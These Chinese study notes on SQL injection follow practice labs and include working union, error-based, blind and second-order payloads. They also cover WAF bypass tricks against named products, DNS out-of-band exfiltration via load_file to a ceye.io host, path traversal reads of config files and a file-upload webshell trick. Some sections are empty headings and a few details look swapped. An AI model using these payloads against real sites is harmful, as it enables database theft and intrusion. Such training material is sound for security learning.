SQL注入¶
一、Web漏洞基础¶
1、CTF,SRC,红蓝对抗,实战¶
1)漏洞危害情况¶
- 获取网站的数据库的权限(数据),后台账号和密码 --> SQL注入
- 直接获取网站权限 --> 文件上传
2)漏洞等级划分¶
- 高危:文件上传、SQL注入、代码执行、文件包含、未授权访问
- 中危:逻辑安全、目录遍历
- 低危:信息泄露 --> 源码、部分账号密码
3)漏洞重点内容¶
- CTF:SQL注入、反序列化、代码执行
- SRC:以上都有,逻辑安全 --> 0元购买
- 红蓝对抗:高危漏洞 --> 权限
4)漏洞形势问题¶
SQL注入网上没有;信息收集少;知识点不够;网站上确实没有此漏洞
2、SQL 注入漏洞¶
pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu
phpstudy:https://www.xp.cn/
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
3、目录遍历漏洞¶
需要源码白盒测试,了解网站目录
通过相对路径../
访问父目录的文件
http://localhost:2560/pikachu/vul/dir/dir_list.php?title=../../../../index.php
文件路径的获取
- 扫描工具(御剑)获取
- 首页的源代码获取
- 找相应cms
4、文件上传漏洞¶
- 上传PHP文件:上传失败,只能是图片格式
- 将文件改为JPG格式上传:上传成功
- 通过路径提示访问文件的地址:访问失败
- 抓包修改,将ipg的数据包x.jpg改为x.php格式,发送
- 再次访问图片的地址:执行PHP脚本(也可以用菜刀留后门)
5、文件下载漏洞¶
通过改变浏览器路径来下载之前的dir.php文件
http://localhost:2560/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
下载拿到数据库配置文件
二、数据库类型¶
1、MySQL¶
墨者靶场-MySQL:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
1)检测注入点¶
2)拆解列名数量(字段数)¶
order by 猜测数据表的id值的多少
3)报错拆解¶
4)信息收集¶
数据库版本:version()
数据库名称:database()
数据库用户:user()
操作系统:@@version_compile_os
数据库版本:5.7.22-0ubuntu0.16.04.1
数据库名称:mozhe_Discuz_StormGroup
5)获取数据¶
在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为:information_schema
,它是一个存储有所有数据库名、表名、列名的数据库,也相当于可以通过查询他获取指定数据库下面的表面和列表信息。
数据库中符号“.”代表下一级,如xiaodi.user,表示xiaodi数据库下面的uesr表名。
- information_schema.tables:记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- table_schema:数据库名
- table_name:表名
- column_name:列名
id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
默认显示一个表,可以利用
group_concat(table_name)
显示出所以的表
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
6)解密拿Key¶
356f589a7df439f6f744ff19bb8092c0 --> dsan13
可能还存在其他账号,利用group_concat()再次查询
32befa923d8b8e2e311fab16425e4f85 --> 301758
mozhe9bc92a5befb8ffc4c8327f0af8b
2、Access¶
Access: 表名/列名/数据---只能暴力猜解,数据库互不相干
MySQL等:数据库名/表名/列名/数据---高版本查看索引表
墨者靶场-Access:https://www.mozhe.cn/bug/Rm5aSU1PNjhHWTA3N1FFUk8vbXZKUT09bW96aGUmozhe
1)sqlmap查询数据库类型¶
2)检测是否可以注入¶
and 1 = 1
:正常
and 1 = 2
:空白
3)猜解id的个数¶
4)检测注入点¶
Access无法检测,只能暴力猜解表名、列名、数据
猜解存在admin表,猜解admin表存在username列名和passwd列名
access注入猜解表名、列名失败:SQLmap字典
5)拿到key¶
MD5解密
登录后台
mozhe56ed60816ee2fe84a89b48e475c
3、Sql Server¶
利用软件:穿山甲pangolin扫描工具
墨者靶场-Sql Server:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
1)扫描¶
2)获取数据¶
3)md5解密¶
4)登录拿Key¶
mozheb054e7502e3d9461424830c9f0f
4、PostgreSQL¶
1)order by 猜解¶
2)注入点查询¶
注意加引号
3)爆库¶
爆库原理
4)爆表/列名¶
union select'1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 1-4---分别id、name、password
5)爆数据¶
三、参数类型与提交注入¶
1、明确参数类型¶
数字:id=1为数字型,int、float、double
字符:字符串必须要加上'
/* 注入语句 */
?x=xiaodi and 1=1
/* 数据库查询语句 --> 注入失效 */
select * from user where name='xiaodi and 1=1';
/* 正确注入方式 */
?x=xiaodi' and 1='1
select * from user where name='xiaodi' and 1='1';
sql搜索
JSON:键值对
2、字符型注入¶
sqlilabs_Less-5
1)测试注入点¶
发现1=2
并没有报错
2)字符注入¶
3)猜解id个数¶
4)注入查询¶
联合查询 --> 无回显
利用报错注入
3、提交注入¶
sqlilabs_Less-11
POST注入利用抓包工具
关于注释符号的使用
GET:
#
、--+
POST:
#
、--(空格)
url编码中+会变成空格
四、报错盲注¶
盲注就是在注入过程中,获取的数据不能回显至前端页面(因为像insert、delete等查询语句即使执行成功,也不会回显。此外,网站的前端页面显示也会限制)。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
1、报错回显¶
0x7e为~(特殊字符),注入一般为注入工具通过正则表达式查找结果
Pikachu-insert注入
1)floor
username=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
2)updatexml
username=' or updatexml (1, concat (0x7e, (version ())), 0) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
3)extractvalue
username=' or extractvalue(1,concat(0x7e, database())) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit
2、延时盲注¶
成立延迟5s、不成立延迟0s --> 不需要回显
先获取数据库的长度(len),再猜解第一位,第二位,以此类推...(巨麻烦)
ascii码方便脚本遍历
mid (a, b, c) #从位置b开始,截取a字符串的c位
substr(a, b, c) #从b位置开始,截取字符串a的c长度
left(database(),1), database() #1eft(a.b)从左侧截取a的前b位
length(database())=8 #判断数据库database名的长度
ascii(x)=97 #判断x的ascii码是否等于97
延迟受到网络速度的局限,并不准确
3、布尔盲注¶
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
特点:虽然$row
无回显,但是$row
进行了布尔判断
五、注入拓展¶
1、加解密注入¶
若参数加密,注入代码也要相应加密
<?php
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
?>
可以通过SalMap间接注入:利用file_get_contents
函数
<?php
$url='http://rexhao.work?id=';
$payload=base64_encode($_GET['x']);
$urls=$url.$payload;
echo $urls;
echo file_get_contents($urls);
?>
使用sqlmap跑本地php文件,间接注入原网站
2、二次注入¶
应用场景:存在网站源码、代码审计
靶场:sqlilabs-less24
注册用户:admin'##
二次注入:修改密码为123456
结果:admin的密码被改成123456
## SQL代码
UPDATE users SET PASSWORD='$new' where username='$un' and password='$old'
## 二次注入
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='admin'
将用户名改成报错注入的代码
长度限制
前端(写在html中的):
<input maxlength="2048" >
--> 修改Maxlength后端:无法突破
3、dnslog带外注入¶
1)手工注入¶
前提:需要文件读取 --> 需要高权限
将盲注的结果通过dns解析的方式发送到平台,以显示结果
利用ceye平台:http://ceye.io/
select * from USER where id=1 and if((select load_file(concat('\\\\',(select version()),'.vhta15.ceye.io\test'))),1,0);
2)DnslogIng¶
Python2运行(上不去...摆烂了!)
下载:https://github.com/AD000/DnslogSqlinj
原理:工具生成dnslog代码
4、堆叠注入¶
堆叠注入:从名词的含义就可以看到应该是一堆sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;
表示语句结束。
堆叠注入的用法:
注入需要管理员的账号密码,密码是加密的,无法解密
堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录
六、waf绕过注入¶
1、常用waf¶
- 阿里云盾:阿里云服务器自带的防护软件
- 宝塔面板:很多小型网站都利用宝塔搭建
- 网站安全狗:免费
2、更换提交方式¶
采用post提交注入,网页可以显示,但是显示不正常:网站只能采用get方式接受,所以post的传参没有成功
POST提交应该用#
注释
3、数据变异¶
有些语句,添加的某些特殊符号,并没有影响语句的执行效果。在waf绕过中,检测这些特殊符号干扰了检测机制(正则),从而绕过检测。
1)大小写/关键字替换¶
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
and=&
or=|
2)注释使用¶
%23 --> 换行
%0A --> #
a --> 阻止安全狗匹配
union a select
不会被安全狗屏蔽掉,但是多了a,需要用#a将a注释,然后换行,语句直接执行 union select 1,2,3#;
但是2021新版本安全狗也拦截了...
/*! select version(); */
:代码也可以运行
3)再次循环¶
union --> uunionnion
4)特殊符号¶
4、参数污染¶
具体服务端处理方式如下:
Web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
安全狗匹配的和Apache接收的参数不同
5、fuzz(模糊/暴力测试)¶
对%0A进行猜解循环,如%0A;%0B; %0C; %0D; %0E等等,生成多种可能性,使得数据包的发送没有拦截软件,那条语句代码被认为绕过注入。
6、白名单¶
1)IP 白名单¶
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。
测试方法:修改 http 的 header 来 bypass waf
2)静态资源¶
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的
.aspx/.php
后面基本不识别
3)url 白名单¶
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。
只要 url中存在白名单的字符串,就作为白名单不进行检测
4)爬虫白名单¶
伪造成百度,搜狐,谷歌的爬虫进行访问,速度很快,可以通过Python脚本伪装成百度的爬虫
安全狗的ip白名单里的爬虫白名单里面有百度爬虫
7、SqlMap绕过¶
1)自定义tamper文件¶
2)代理服务器¶
3)修改ua头¶
指定ua头
python sqlmap.py -u "http://xxx" --random-agent --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)"
随机ua头
4)修改不支持修改的参数¶
- 中转脚本
- 将注入语句写入txt文件中,然后进行按行读取